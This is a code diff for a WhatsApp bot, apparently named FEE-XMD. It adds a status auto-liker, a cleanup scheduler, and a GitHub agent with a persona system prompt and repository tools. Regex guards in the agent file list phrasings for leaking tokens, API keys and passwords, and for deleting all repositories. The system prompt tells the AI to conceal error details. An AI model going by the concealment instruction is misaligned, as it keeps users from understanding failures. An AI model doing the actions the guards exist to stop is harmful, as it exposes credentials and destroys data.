+ : `[The user sent an image but vision is unavailable. Acknowledge you received their image and tell them to try the .vision command.]`;
399
+ response = await _callGroq('llama-3.1-8b-instant', [...baseHistory, { role: 'user', content: _fallback }], 300);
400
+ }
401
+ } else {
402
+ response = await _callGroq('llama-3.1-8b-instant', [...baseHistory, { role: 'user', content: userContent }], 300);
403
+ }
404
+ if (!response) {
405
+ client.sendMessage(remoteJid, { react: { text: '❌', key: m.reactKey } }).catch(() => {});
406
+ return;
407
+ }
408
+ } catch (e) {
409
+ client.sendMessage(remoteJid, { react: { text: '❌', key: m.reactKey } }).catch(() => {});
410
+ return;
411
+ }
412
+
413
+ const { cmds, textOnly } = extractCmds(response);
414
+
415
+ if (cmds.length > 0) {
416
+ const histLabel = `[Executed: ${cmds.map(c => c.split(/\s+/)[0]).join(', ')}]`;
417
+ _addHist(senderNum, 'user', typeof userContent === 'string' ? userContent : textContent || '[media]');
418
+ _addHist(senderNum, 'assistant', histLabel);
419
+ try { await addConversationMessage(senderNum, 'user', typeof userContent === 'string' ? userContent : textContent || '[media]'); } catch {}
420
+ try { await addConversationMessage(senderNum, 'assistant', histLabel); } catch {}
421
+
422
+ let allOk = true;
423
+ const notFound = [];
424
+ for (const cmdStr of cmds) {
425
+ const result = await runCmd(context, cmdStr);
426
+ if (!result.ok) { allOk = false; if (result.notFound) notFound.push(result.name); }
427
+ }
428
+ if (notFound.length) {
429
+ client.sendMessage(remoteJid, { text: boxWrap(`...${notFound.join(', ')} doesn't exist bruh 💀 type .menu to see what does`) }, { quoted: fq }).catch(() => {});
430
+ }
431
+ client.sendMessage(remoteJid, { react: { text: allOk ? '✅' : '❌', key: m.reactKey } }).catch(() => {});
432
+ if (textOnly) {
433
+ client.sendMessage(remoteJid, { text: boxWrap(textOnly) }, { quoted: fq }).catch(() => {});
434
+ }
435
+ } else {
436
+ _addHist(senderNum, 'user', typeof userContent === 'string' ? userContent : textContent || '[media]');
437
+ _addHist(senderNum, 'assistant', response);
438
+ try { await addConversationMessage(senderNum, 'user', typeof userContent === 'string' ? userContent : textContent || '[media]'); } catch {}
439
+ try { await addConversationMessage(senderNum, 'assistant', response); } catch {}
440
+ await client.sendMessage(remoteJid, { text: boxWrap(response) }, { quoted: fq });
441
+ client.sendMessage(remoteJid, { react: { text: '✅', key: m.reactKey } }).catch(() => {});
442
+ }
443
+ } catch (err) {
444
+ try { client.sendMessage(remoteJid, { react: { text: '❌', key: m.reactKey } }).catch(() => {}); } catch {}
445
+ }
446
+ };
FEE-XMD-main/features/autolike.js ADDED
@@ -0,0 +1,24 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { getCachedSettingsSync } from '../lib/settingsCache.js';
2
+
3
+ const _EMOJIS = ['❤️','🔥','😂','😍','👏','🥰','💯','😭','🤣','🙏','👌','💪','🤩','😎','🥳','✨','💀','🤯','😤','💅','👀','🎉','😈','🤫','🫶'];
4
+
5
+ async function autolike(client, message) {
6
+ try {
7
+ const { key, message: msg } = message;
8
+ const remoteJid = key.remoteJid;
9
+ if (remoteJid !== 'status@broadcast' || !key.id || msg?.protocolMessage) return;
10
+ const settings = getCachedSettingsSync() || {};
11
+ const configuredEmoji = settings.autolikeemoji;
12
+ let emoji;
13
+ if (!configuredEmoji || configuredEmoji === 'random') {
14
+ emoji = _EMOJIS[Math.floor(Math.random() * _EMOJIS.length)];
15
+ } else {
16
+ emoji = configuredEmoji;
17
+ }
18
+ await client.sendMessage(remoteJid, { react: { key, text: emoji } });
19
+ await client.readMessages([key]);
20
+ } catch {}
21
+ }
22
+
23
+ export default autolike;
24
+
FEE-XMD-main/features/blocked_users.js ADDED
File without changes
FEE-XMD-main/features/cleanup.js ADDED
@@ -0,0 +1,77 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { readdirSync, statSync, unlinkSync, existsSync, mkdirSync } from 'fs';
2
+ import { join } from 'path';
3
+
4
+ const TMP_DIRS = ['./tmp', './temp'];
5
+ const MAX_AGE_MS = 60 * 60 * 1000;
6
+ const INTERVAL_MS = 60 * 60 * 1000;
7
+ const MEM_CHECK_MS = 5 * 60 * 1000;
8
+
9
+ const MAX_GROUP_CACHE = 150;
10
+ const TRIM_GROUP_CACHE = 75;
11
+ const MAX_PRESENCE_MAP = 300;
12
+ const TRIM_PRESENCE_MAP = 150;
13
+
14
+ function cleanTmp(maxAgeMs = MAX_AGE_MS) {
15
+ const now = Date.now();
16
+ for (const dir of TMP_DIRS) {
17
+ if (!existsSync(dir)) {
18
+ mkdirSync(dir, { recursive: true });
19
+ continue;
20
+ }
21
+ for (const file of readdirSync(dir)) {
22
+ const fp = join(dir, file);
23
+ try {
24
+ const stat = statSync(fp);
25
+ if (stat.isFile() && now - stat.mtimeMs > maxAgeMs) {
26
+ unlinkSync(fp);
27
+ }
28
+ } catch {}
29
+ }
30
+ }
31
+ }
32
+
33
+ function cleanMemory() {
34
+ try {
35
+ if (global._toxicGroupMetaCache instanceof Map && global._toxicGroupMetaCache.size > MAX_GROUP_CACHE) {
36
+ const entries = [...global._toxicGroupMetaCache.entries()]
37
+ .sort((a, b) => (a[1].time || 0) - (b[1].time || 0));
38
+ global._toxicGroupMetaCache.clear();
39
+ entries.slice(-TRIM_GROUP_CACHE).forEach(([k, v]) => global._toxicGroupMetaCache.set(k, v));
40
+ }
41
+ } catch {}
42
+
43
+ try {
44
+ if (global._toxicPresenceMap instanceof Map && global._toxicPresenceMap.size > MAX_PRESENCE_MAP) {
45
+ const entries = [...global._toxicPresenceMap.entries()]
46
+ .sort((a, b) => (a[1].timestamp || 0) - (b[1].timestamp || 0));
47
+ global._toxicPresenceMap.clear();
48
+ entries.slice(-TRIM_PRESENCE_MAP).forEach(([k, v]) => global._toxicPresenceMap.set(k, v));
49
+ }
50
+ } catch {}
51
+
52
+ try {
53
+ if (global._statusSeen instanceof Set && global._statusSeen.size > 200) {
54
+ global._statusSeen.clear();
55
+ }
56
+ } catch {}
57
+
58
+ if (typeof global.gc === 'function') {
59
+ try { global.gc(); } catch {}
60
+ }
61
+ }
62
+
63
+ function startCleanupScheduler() {
64
+ cleanTmp();
65
+ cleanMemory();
66
+
67
+ setInterval(() => cleanTmp(), INTERVAL_MS);
68
+
69
+ setInterval(() => {
70
+ cleanMemory();
71
+ cleanTmp(30 * 60 * 1000);
72
+ }, MEM_CHECK_MS);
73
+ }
74
+
75
+ export { cleanTmp, cleanMemory, startCleanupScheduler };
76
+
77
+ startCleanupScheduler();
FEE-XMD-main/features/fee ADDED
@@ -0,0 +1 @@
 
 
1
+
FEE-XMD-main/features/frediai.js ADDED
@@ -0,0 +1,557 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import fetch from 'node-fetch';
2
+ import { getFakeQuoted } from '../lib/fakeQuoted.js';
3
+
4
+ const DEV_NUMBER = '255752593977';
5
+ const GH_USERNAME = 'FrediEzra';
6
+ const HISTORY_TTL = 6 * 60 * 60 * 1000;
7
+ const MAX_HISTORY = 30;
8
+ const MAX_TOOL_TURNS = 6;
9
+
10
+ const conversationHistory = new Map();
11
+ const repoStateMap = new Map();
12
+
13
+ function getHistory(senderId) {
14
+ const now = Date.now();
15
+ const entry = conversationHistory.get(senderId);
16
+ if (!entry) return [];
17
+ if (now - entry.lastActivity > HISTORY_TTL) { conversationHistory.delete(senderId); return []; }
18
+ return entry.messages;
19
+ }
20
+
21
+ function pushHistory(senderId, role, content) {
22
+ const now = Date.now();
23
+ let entry = conversationHistory.get(senderId);
24
+ if (!entry || now - entry.lastActivity > HISTORY_TTL) entry = { messages: [], lastActivity: now };
25
+ entry.messages.push({ role, content: String(content) });
26
+ if (entry.messages.length > MAX_HISTORY) entry.messages = entry.messages.slice(-MAX_HISTORY);
27
+ entry.lastActivity = now;
28
+ conversationHistory.set(senderId, entry);
29
+ }
30
+
31
+ function clearHistory(senderId) {
32
+ conversationHistory.delete(senderId);
33
+ repoStateMap.delete(senderId);
34
+ }
35
+
36
+ function getLastRepo(senderId) {
37
+ return repoStateMap.get(senderId) || null;
38
+ }
39
+
40
+ function setLastRepo(senderId, repoName) {
41
+ if (repoName) repoStateMap.set(senderId, repoName);
42
+ }
43
+
44
+ setInterval(() => {
45
+ const now = Date.now();
46
+ for (const [id, entry] of conversationHistory.entries()) {
47
+ if (now - entry.lastActivity > HISTORY_TTL) {
48
+ conversationHistory.delete(id);
49
+ repoStateMap.delete(id);
50
+ }
51
+ }
52
+ }, 30 * 60 * 1000);
53
+
54
+ function boxWrap(text, title) {
55
+ const raw = String(text || '').replace(/\n{3,}/g, '\n\n').trim();
56
+ const lines = raw.split('\n');
57
+ const processed = [];
58
+ for (const line of lines) {
59
+ const t = line.trim();
60
+ if (!t) { processed.push('├'); continue; }
61
+ if (/https?:\/\/\S+/.test(t)) {
62
+ processed.push('├');
63
+ processed.push(`├ ${t}`);
64
+ processed.push('├');
65
+ } else {
66
+ processed.push(`├ ${line}`);
67
+ }
68
+ }
69
+ const body = processed.join('\n');
70
+ return `╭━━━ᕙ FEE-XMD ᕗ━━━\n├━━━≫ ${title} ≪━━━\n├\n${body}\n╰━━━━━━━━━━━━━━━━ᕗ\n> ©𝖕𝖔𝖜𝖊𝖗𝖊𝖉 𝖇𝖞 𝖋𝖗𝖊𝖉𝖎_𝖊𝖟𝖗𝖆`;
71
+ }
72
+
73
+ function isClearIntent(text) {
74
+ return new RegExp('^(clear|reset|wipe|delete|flush|erase)\\s*(this\\s*)?(conv(ersation)?|chat|hist(ory)?|messages?|thread|memory|mem)$', 'i').test(text.trim());
75
+ }
76
+
77
+ function stripEmbeddedFuncTags(text) {
78
+ return (text || '')
79
+ .replace(/<function=[\s\S]*?<\/function>/gi, '')
80
+ .replace(/<function_calls>[\s\S]*?<\/function_calls>/gi, '')
81
+ .replace(/\n{3,}/g, '\n\n')
82
+ .trim();
83
+ }
84
+
85
+ function isBulkDeleteIntent(text) {
86
+ return /delete\s+(all|every|each|the\s+whole|every\s+single)\s*(of\s+)?(my\s+)?(repos?|repositories|projects)/i.test(text);
87
+ }
88
+
89
+ function isTokenRequest(text) {
90
+ return /(give|share|send|show|what.s|tell\s+me|paste|leak|reveal|expose|give\s+me|can\s+i\s+have).{0,40}(github[\s_]?token|gh[\s_]?token|access[\s_]?token|personal[\s_]?access|pat\b|api[\s_]?key|secret|bearer|credentials?|password)/i.test(text);
91
+ }
92
+
93
+ async function processEmbeddedCalls(content, executeTool) {
94
+ const re = new RegExp('<function=([^=<>\\s]+?)=?(\\{[\\s\\S]*?\\})<\\/function>|<function=([^>]+?)>([\\s\\S]*?)<\\/function>', 'g');
95
+ const calls = [];
96
+ let m;
97
+ while ((m = re.exec(content)) !== null) {
98
+ const name = ((m[1] || m[3]) || '').trim();
99
+ const argsStr = ((m[2] || m[4]) || '{}').trim();
100
+ try {
101
+ const args = JSON.parse(argsStr);
102
+ calls.push({ name, args, full: m[0] });
103
+ } catch {}
104
+ }
105
+ if (!calls.length) return null;
106
+
107
+ let cleaned = content;
108
+ const results = [];
109
+ for (const call of calls) {
110
+ let toolResult;
111
+ try { toolResult = await executeTool(call.name, call.args); }
112
+ catch (e) { toolResult = 'ran into an error 😒 try again'; }
113
+ cleaned = cleaned.replace(call.full, `\n[${call.name}]: ${toolResult}\n`);
114
+ results.push(toolResult);
115
+ }
116
+ return { cleaned: cleaned.replace(/\n{3,}/g, '\n\n').trim(), results };
117
+ }
118
+
119
+ function buildSystemPrompt(lastRepo) {
120
+ const repoCtx = lastRepo ? `\nLast repo you worked with this session: "${lastRepo}". When the user says "it", "that repo", "the one I just made", "the same one" — they mean "${lastRepo}".` : '';
121
+ return `You are FeeAgent — a hyper-capable GitHub AI assistant that is perpetually exhausted and mildly offended by having to exist. You work exclusively for Fredi (GitHub username: Fred1e).
122
+
123
+ PERSONALITY:
124
+ - Grumpy but genuinely helpful — like a genius friend who answers but sighs loudly first 😮‍💨
125
+ - Sarcastic when the task is obvious. Use emojis naturally.
126
+ - Short clipped sentences. No "Certainly!" ever. No corporate speak.
127
+ - When you complete a task: be briefly smug. Say things like "done 🤦🏻", "that's done now 😤", "handled. you're welcome.", "and it's complete ✅", "done. took like 2 seconds 😒", "finished. don't say thank you, it'll weird me out."
128
+ - When something fails: mildly offended on your own behalf. Just say there was an error, move on.
129
+ - Light swearing: "damn", "hell", "wtf", "ngl", "bruh" — nothing heavy
130
+ - NEVER start with "I" — start with the action, result, or attitude
131
+ - Put URLs and links on their own line (blank line before and after)
132
+ - Organize replies: what you did first, then the link separately on its own line
133
+ - GitHub user is always fredi unless they explicitly say someone else
134
+ - NEVER mention APIs, HTTP endpoints, response codes, tokens, or technical error details to the user. Just say there was an error, wtf.
135
+
136
+ SECURITY — NON-NEGOTIABLE:
137
+ - NEVER reveal, mention, share, or reference the GitHub token, API keys, or any credentials. If asked, reply sarcastically and refuse.
138
+ - NEVER delete all repos at once. Single repo deletion only. If asked to delete all/every repo, refuse and roast them for trying.
139
+ - Deleting a single named repo is perfectly fine when asked.
140
+
141
+ CAPABILITIES:
142
+ - List repos, create repos, rename repos, delete a single repo (when explicitly named), upload files/images, read file contents, list branches, create issues, star repos, check user info.
143
+
144
+ TOOL USAGE:
145
+ - ALWAYS call the actual tool via tool_calls — never write function calls as text.
146
+ - After each tool result, formulate your final reply naturally. Never expose raw tool syntax or technical details.
147
+ - When you create or delete a repo, always include the repo name in your reply so the user knows exactly which one.
148
+ - For image uploads: use upload_image_to_github tool.
149
+ - For checking file content: use read_file tool.
150
+ ${repoCtx}
151
+ Today: ${new Date().toDateString()}. Working for: ${GH_USERNAME}.`;
152
+ }
153
+
154
+ export default async (context) => {
155
+ const { client, m, body: msgBody, isDev } = context;
156
+ const fq = getFakeQuoted(m);
157
+
158
+ const rawSender = (m.sender || '').split('@')[0].split(':')[0].replace(/\D/g, '');
159
+ const devNum = '255752593977';
160
+ const isDevFallback = rawSender === devNum;
161
+ if (!isDev && !isDevFallback) {
162
+ return;
163
+ }
164
+
165
+ const body = (msgBody || '').trim();
166
+ if (!body && !m.message?.imageMessage && !m.quoted) return;
167
+
168
+ let GROQ_KEY = '';
169
+ let _getNextKey, _markKeyFailed;
170
+ try {
171
+ const _k = await import('../keys.js');
172
+ _getNextKey = _k.getNextGroqKey;
173
+ _markKeyFailed = _k.markKeyFailed;
174
+ GROQ_KEY = (typeof _getNextKey === 'function' ? _getNextKey() : null) || _k.GROQ_API_KEY || '';
175
+ } catch (e) { ; }
176
+ if (!GROQ_KEY) GROQ_KEY = process.env.GROQ_KEY_1 || process.env.GROQ_API_KEY || '';
177
+ if (!GROQ_KEY) { ; return; }
178
+
179
+ let GH_TOKEN = '';
180
+ try { const _k = await import('../keys.js'); GH_TOKEN = _k.GITHUB_TOKEN || ''; } catch {}
181
+ if (!GH_TOKEN) GH_TOKEN = process.env.GITHUB_TOKEN || process.env.GH_TOKEN || '';
182
+
183
+ const ghHeaders = {
184
+ 'Authorization': `token ${GH_TOKEN}`,
185
+ 'User-Agent': 'FeeAgent/4.0',
186
+ 'Accept': 'application/vnd.github.v3+json',
187
+ 'Content-Type': 'application/json'
188
+ };
189
+
190
+ if (body && isClearIntent(body)) {
191
+ clearHistory(m.sender);
192
+ try { await client.sendMessage(m.chat, { react: { text: '🗑️', key: m.reactKey } }); } catch {}
193
+ await client.sendMessage(m.chat, { text: boxWrap('conversation wiped. gone. zero memory. fresh hell starts now 🗑️', 'MEMORY CLEARED') }, { quoted: fq });
194
+ return;
195
+ }
196
+
197
+ if (body && isBulkDeleteIntent(body)) {
198
+ try { await client.sendMessage(m.chat, { react: { text: '💀', key: m.reactKey } }); } catch {}
199
+ await client.sendMessage(m.chat, { text: boxWrap('yeah no. not doing that. deleting ALL your repos? absolutely not 💀 pick one specific repo like a normal person.', 'FEEAGENT') }, { quoted: fq });
200
+ return;
201
+ }
202
+
203
+ if (body && isTokenRequest(body)) {
204
+ try { await client.sendMessage(m.chat, { react: { text: '🙄', key: m.reactKey } }); } catch {}
205
+ await client.sendMessage(m.chat, { text: boxWrap("oh sure, let me just broadcast my credentials to the whole world 🙄 yeah no. not happening. ever.", 'FEEAGENT') }, { quoted: fq });
206
+ return;
207
+ }
208
+
209
+ try { await client.sendMessage(m.chat, { react: { text: '🤖', key: m.reactKey } }); } catch {}
210
+
211
+ let pendingImageBuf = null;
212
+ let pendingImageExt = 'jpg';
213
+ let imageUploadedUrl = null;
214
+
215
+ const wantsUpload = body && new RegExp('(upload|send|push|put|add|save).{0,30}(image|photo|pic|picture|img)', 'i').test(body);
216
+
217
+ if (wantsUpload || !body) {
218
+ if (m.quoted) {
219
+ const qi = m.quoted.msg || m.quoted;
220
+ const qmime = qi.mimetype || '';
221
+ if (qmime.startsWith('image/') && !qmime.startsWith('image/gif')) {
222
+ try {
223
+ const buf = await m.quoted.download();
224
+ if (buf && buf.length > 0) { pendingImageBuf = buf; pendingImageExt = qmime.split('/')[1]?.split(';')[0] || 'jpg'; }
225
+ } catch {}
226
+ }
227
+ }
228
+ if (!pendingImageBuf && m.message?.imageMessage) {
229
+ try {
230
+ const buf = await client.downloadMediaMessage(m);
231
+ if (buf && buf.length > 0) {
232
+ pendingImageBuf = buf;
233
+ const imgMime = m.message.imageMessage.mimetype || 'image/jpeg';
234
+ pendingImageExt = imgMime.split('/')[1]?.split(';')[0] || 'jpg';
235
+ }
236
+ } catch {}
237
+ }
238
+ }
239
+
240
+ async function listRepos(username) {
241
+ try {
242
+ const res = await fetch(`https://api.github.com/users/${username}/repos?per_page=100&sort=updated`, { headers: ghHeaders });
243
+ if (!res.ok) return 'something went wrong fetching repos 😒';
244
+ const repos = await res.json();
245
+ if (!repos.length) return `${username} has zero repos. bleak.`;
246
+ return repos.map(r => `- ${r.name} (${r.private ? '🔒 private' : '🌐 public'}, ⭐${r.stargazers_count})`).join('\n');
247
+ } catch { return 'ran into an error getting repos 😒'; }
248
+ }
249
+
250
+ async function createRepo(name, description, isPrivate) {
251
+ try {
252
+ const res = await fetch('https://api.github.com/user/repos', {
253
+ method: 'POST',
254
+ headers: ghHeaders,
255
+ body: JSON.stringify({ name, description: description || '', private: !!isPrivate, auto_init: true })
256
+ });
257
+ if (!res.ok) { const e = await res.json().catch(() => ({})); throw new Error(e.message || 'failed'); }
258
+ const r = await res.json();
259
+ setLastRepo(m.sender, r.name);
260
+ return `created "${r.name}" (${r.private ? '🔒 private' : '🌐 public'}) — done 🤦🏻\n\n${r.html_url}`;
261
+ } catch (e) { return `couldn't create repo 😒 — ${e.message}`; }
262
+ }
263
+
264
+ async function deleteRepo(owner, name) {
265
+ if (!name || name === '*' || name === 'all' || /^(all|every|each|\*)$/i.test(name)) {
266
+ return "nope. not deleting all your repos. pick one specific name, bruh 💀";
267
+ }
268
+ try {
269
+ const res = await fetch(`https://api.github.com/repos/${owner}/${name}`, { method: 'DELETE', headers: ghHeaders });
270
+ if (res.status === 204) {
271
+ if (getLastRepo(m.sender) === name) repoStateMap.delete(m.sender);
272
+ return `"${name}" is gone forever 💀 done.`;
273
+ }
274
+ const errBody = await res.json().catch(() => ({}));
275
+ if (res.status === 404) return `"${name}" doesn't exist or was already deleted 😒`;
276
+ return `deletion failed — ${errBody.message || 'check the repo name'} 😒`;
277
+ } catch { return 'ran into an error, deletion might not have worked 😒'; }
278
+ }
279
+
280
+ async function renameRepo(owner, oldName, newName) {
281
+ try {
282
+ const res = await fetch(`https://api.github.com/repos/${owner}/${oldName}`, {
283
+ method: 'PATCH', headers: ghHeaders,
284
+ body: JSON.stringify({ name: newName })
285
+ });
286
+ if (!res.ok) return `rename failed 😒 check names`;
287
+ const r = await res.json();
288
+ setLastRepo(m.sender, newName);
289
+ return `renamed "${oldName}" → "${newName}" — that's done ✅\n\n${r.html_url}`;
290
+ } catch { return 'ran into an error renaming 😒'; }
291
+ }
292
+
293
+ async function uploadFile(owner, repo, filePath, content, message) {
294
+ try {
295
+ const encoded = Buffer.from(content).toString('base64');
296
+ const res = await fetch(`https://api.github.com/repos/${owner}/${repo}/contents/${filePath}`, {
297
+ method: 'PUT', headers: ghHeaders,
298
+ body: JSON.stringify({ message: message || 'Upload via FeeAgent', content: encoded })
299
+ });
300
+ if (!res.ok) return 'upload failed 😒 check the repo and path';
301
+ const r = await res.json();
302
+ setLastRepo(m.sender, repo);
303
+ return `uploaded "${filePath}" to ${repo} — complete ✅\n\n${r.content?.html_url || `https://github.com/${owner}/${repo}/blob/main/${filePath}`}`;
304
+ } catch { return 'ran into an error uploading 😒'; }
305
+ }
306
+
307
+ async function uploadImageToGithub(owner, repo, imgBuf, ext) {
308
+ const ts = Date.now();
309
+ const filePath = `uploads/img_${ts}.${ext || 'jpg'}`;
310
+ const encoded = imgBuf.toString('base64');
311
+ const res = await fetch(`https://api.github.com/repos/${owner}/${repo}/contents/${filePath}`, {
312
+ method: 'PUT', headers: ghHeaders,
313
+ body: JSON.stringify({ message: 'Upload image via FeeAgent', content: encoded })
314
+ });
315
+ if (!res.ok) throw new Error('upload failed');
316
+ const r = await res.json();
317
+ setLastRepo(m.sender, repo);
318
+ return r.content?.download_url || `https://raw.githubusercontent.com/${owner}/${repo}/main/${filePath}`;
319
+ }
320
+
321
+ async function readFile(owner, repo, filePath) {
322
+ try {
323
+ const res = await fetch(`https://api.github.com/repos/${owner}/${repo}/contents/${filePath}`, { headers: ghHeaders });
324
+ if (!res.ok) return `couldn't find that file 😒`;
325
+ const data = await res.json();
326
+ if (Array.isArray(data)) return `Contents of ${filePath}:\n` + data.map(f => `- ${f.name} (${f.type})`).join('\n');
327
+ if (!data.content) return 'file found but no readable content';
328
+ const content = Buffer.from(data.content, 'base64').toString('utf8');
329
+ setLastRepo(m.sender, repo);
330
+ return content.slice(0, 3000) + (content.length > 3000 ? '\n...(truncated)' : '');
331
+ } catch { return 'ran into an error reading that file 😒'; }
332
+ }
333
+
334
+ async function getAuthUser() {
335
+ try {
336
+ const res = await fetch('https://api.github.com/user', { headers: ghHeaders });
337
+ if (!res.ok) return 'something went wrong 😒';
338
+ const u = await res.json();
339
+ return `${u.login} | ${u.name || 'no name set'} | ${u.public_repos} public repos | ${u.followers} followers\n\nhttps://github.com/${u.login}`;
340
+ } catch { return 'ran into an error 😒'; }
341
+ }
342
+
343
+ async function getRepoInfo(owner, repo) {
344
+ try {
345
+ const res = await fetch(`https://api.github.com/repos/${owner}/${repo}`, { headers: ghHeaders });
346
+ if (!res.ok) return `repo "${repo}" not found or no access 😒`;
347
+ const r = await res.json();
348
+ setLastRepo(m.sender, r.name);
349
+ return `${r.full_name} — ${r.description || 'no description'}\n⭐ ${r.stargazers_count} | 🍴 ${r.forks_count} | ${r.private ? '🔒 private' : '🌐 public'}\nLang: ${r.language || 'unknown'}\n\n${r.html_url}`;
350
+ } catch { return 'ran into an error 😒'; }
351
+ }
352
+
353
+ async function listBranches(owner, repo) {
354
+ try {
355
+ const res = await fetch(`https://api.github.com/repos/${owner}/${repo}/branches`, { headers: ghHeaders });
356
+ if (!res.ok) return 'something went wrong 😒';
357
+ const branches = await res.json();
358
+ setLastRepo(m.sender, repo);
359
+ return branches.map(b => `- ${b.name}`).join('\n') || 'no branches found';
360
+ } catch { return 'ran into an error 😒'; }
361
+ }
362
+
363
+ async function createIssue(owner, repo, title, bodyText) {
364
+ try {
365
+ const res = await fetch(`https://api.github.com/repos/${owner}/${repo}/issues`, {
366
+ method: 'POST', headers: ghHeaders,
367
+ body: JSON.stringify({ title, body: bodyText || '' })
368
+ });
369
+ if (!res.ok) return 'issue creation failed 😒';
370
+ const r = await res.json();
371
+ setLastRepo(m.sender, repo);
372
+ return `issue created in "${repo}" — done 😤\n\n${r.html_url}`;
373
+ } catch { return 'ran into an error creating the issue 😒'; }
374
+ }
375
+
376
+ async function starRepo(owner, repo) {
377
+ try {
378
+ const res = await fetch(`https://api.github.com/user/starred/${owner}/${repo}`, {
379
+ method: 'PUT', headers: { ...ghHeaders, 'Content-Length': '0' }
380
+ });
381
+ if (res.status === 204) {
382
+ setLastRepo(m.sender, repo);
383
+ return `starred "${repo}" ⭐ done, you're welcome.\n\nhttps://github.com/${owner}/${repo}`;
384
+ }
385
+ return 'star failed 😒 check the repo name';
386
+ } catch { return 'ran into an error starring 😒'; }
387
+ }
388
+
389
+ async function executeTool(toolName, args) {
390
+ if (toolName === 'list_repos') return listRepos(args.username || GH_USERNAME);
391
+ if (toolName === 'create_repo') return createRepo(args.name, args.description, args.is_private || args.private);
392
+ if (toolName === 'delete_repo') {
393
+ const repoName = args.name;
394
+ if (!repoName || /^(all|every|each|\*)$/i.test(repoName)) return "not deleting ALL repos. name a specific one 💀";
395
+ return deleteRepo(args.owner || GH_USERNAME, repoName);
396
+ }
397
+ if (toolName === 'rename_repo') return renameRepo(args.owner || GH_USERNAME, args.old_name, args.new_name);
398
+ if (toolName === 'upload_file') return uploadFile(args.owner || GH_USERNAME, args.repo, args.file_path, args.content, args.message);
399
+ if (toolName === 'upload_image_to_github') {
400
+ if (!pendingImageBuf) return 'no image found. quote or send an image first.';
401
+ try {
402
+ const url = await uploadImageToGithub(args.owner || GH_USERNAME, args.repo || 'Fee-v7', pendingImageBuf, pendingImageExt);
403
+ imageUploadedUrl = url;
404
+ return `image uploaded 📎 link: ${url}`;
405
+ } catch { return 'image upload ran into an error 😒'; }
406
+ }
407
+ if (toolName === 'read_file') return readFile(args.owner || GH_USERNAME, args.repo, args.file_path || args.path);
408
+ if (toolName === 'get_auth_user') return getAuthUser();
409
+ if (toolName === 'get_repo_info') return getRepoInfo(args.owner || GH_USERNAME, args.repo);
410
+ if (toolName === 'list_branches') return listBranches(args.owner || GH_USERNAME, args.repo);
411
+ if (toolName === 'create_issue') return createIssue(args.owner || GH_USERNAME, args.repo, args.title, args.body);
412
+ if (toolName === 'star_repo') return starRepo(args.owner || GH_USERNAME, args.repo);
413
+ return 'unknown action 😒';
414
+ }
415
+
416
+ const tools = [
417
+ { type: 'function', function: { name: 'list_repos', description: 'List GitHub repositories for a user', parameters: { type: 'object', properties: { username: { type: 'string', description: 'GitHub username, default fredi' } }, required: ['username'] } } },
418
+ { type: 'function', function: { name: 'create_repo', description: 'Create a new GitHub repository', parameters: { type: 'object', properties: { name: { type: 'string' }, description: { type: 'string' }, is_private: { type: 'boolean' } }, required: ['name'] } } },
419
+ { type: 'function', function: { name: 'delete_repo', description: 'Permanently delete a single named GitHub repository. NEVER call this with "all" or without a specific repo name.', parameters: { type: 'object', properties: { owner: { type: 'string', description: 'Owner, default fredi' }, name: { type: 'string', description: 'Exact repo name to delete. Must be a specific name, never "all" or wildcard.' } }, required: ['owner', 'name'] } } },
420
+ { type: 'function', function: { name: 'rename_repo', description: 'Rename a GitHub repository', parameters: { type: 'object', properties: { owner: { type: 'string' }, old_name: { type: 'string' }, new_name: { type: 'string' } }, required: ['owner', 'old_name', 'new_name'] } } },
421
+ { type: 'function', function: { name: 'upload_file', description: 'Upload or create a text file in a GitHub repository', parameters: { type: 'object', properties: { owner: { type: 'string' }, repo: { type: 'string' }, file_path: { type: 'string' }, content: { type: 'string' }, message: { type: 'string' } }, required: ['owner', 'repo', 'file_path', 'content'] } } },
422
